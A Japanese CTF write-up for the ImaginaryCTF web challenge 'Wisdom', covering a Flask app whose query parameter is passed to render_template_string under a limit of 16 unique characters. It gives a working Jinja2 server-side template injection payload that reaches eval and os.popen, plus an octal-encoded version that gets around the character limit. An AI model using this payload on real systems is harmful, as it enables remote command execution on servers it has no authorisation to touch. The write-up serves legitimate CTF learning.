ImaginaryCTF Web[Wisdom] Writeup
ImaginaryCTF Web[Wisdom]
ImaginaryCTFのWeb問のWriteupを書きます。
ソースコードはこちら
1 #!/usr/bin/env python3
2 from flask import Flask, render_template_string, request, Response
3 app = Flask(__name__)
4 init_config = {key:app.config[key] for key in app.config}
5 @app.route('/')
6 def index():
7 return Response(open(__file__).read(), mimetype='text/plain')
8 @app.route('/docker')
9 def docker():
10 return Response(open("Dockerfile").read(), mimetype='text/plain')
11 @app.route('/ssti')
12 def ssti():
13 query = request.args['query'] if 'query' in request.args else '...'
14 # no persistence!
15 to_del = []
16 for key in app.config:
17 if key not in init_config:
18 to_del.append(key)
19 else:
20 app.config[key] = init_config[key]
21 for key in to_del:
22 del app.config[key]
23 for attr in dir(request):
24 if any(attr.startswith(i) for i in ["__"]):
25 continue
26 try:
27 setattr(request, attr, None)
28 except Exception as e:
29 pass
30 # print("Failed to set attr", attr)
31 # turns out flask doesn't like it when you nuke their data
32 request.environ = {"flask._preserve_context": False}
33 if len(set(query)) > 16:
34 return f"<div>Too many ({len(set(query))}) unique characters!</div>" + \
35 f"<div>Unique characters used: {''.join(set(query))}</div>"
36 return f"<div>Number of unique characters: {len(set(query))}</div>" + \
37 f"<div>Unique characters used: {''.join(set(query))}</div>" + \
38 render_template_string(query)
39 app.run('0.0.0.0', 5004)
13行目でquery
パラメータの値をquery
変数に格納し、
33行目でquery
をset型(集合型)に変換、文字数が17文字以上でToo many...
と表示され、16文字以下だとFlaskのrender_template_string(query)
が実行されます。
送られる文字列のサニタイジング処理を行っていないため、SSTI
の脆弱性が存在します。
Payloadの作成
set型(集合型)、つまり同じ文字は1つにまとめられます。通常のSSTIのPayloadは、
{{''.__class__.__bases__[0].__subclasses__()[75]}}
このようにしますが、
これだと16文字を超えてしまします。Jinjaのパーサー(構文解析)は、16進数、8進数、2進数の整数リテラルを解釈できます。Payloadを8進数にencodeし、文字数を抑えることができます。
encode前
{{''.__class__.__mro__[1].__subclasses__()[220]__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
encode後
{{''[%27\137\137\143\154\141\163\163\137\137%27][%27\137\137\155\162\157\137\137%27][1][%27\137\137\163\165\142\143\154\141\163\163\145\163\137\137%27]()[220]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\144\151\162\47\51\56\162\145\141\144\50\51')}}
8進数にencodeしたことにより、\1520['43)7(6}]{
の16種類の文字を使います。
query
パラメータに入力し、送信することによってdir
コマンドの実行結果を得られます。
FLAGのファイル名を知ることができるのでcat flagname.txt
でFLAGをゲットすることができます。
Discussion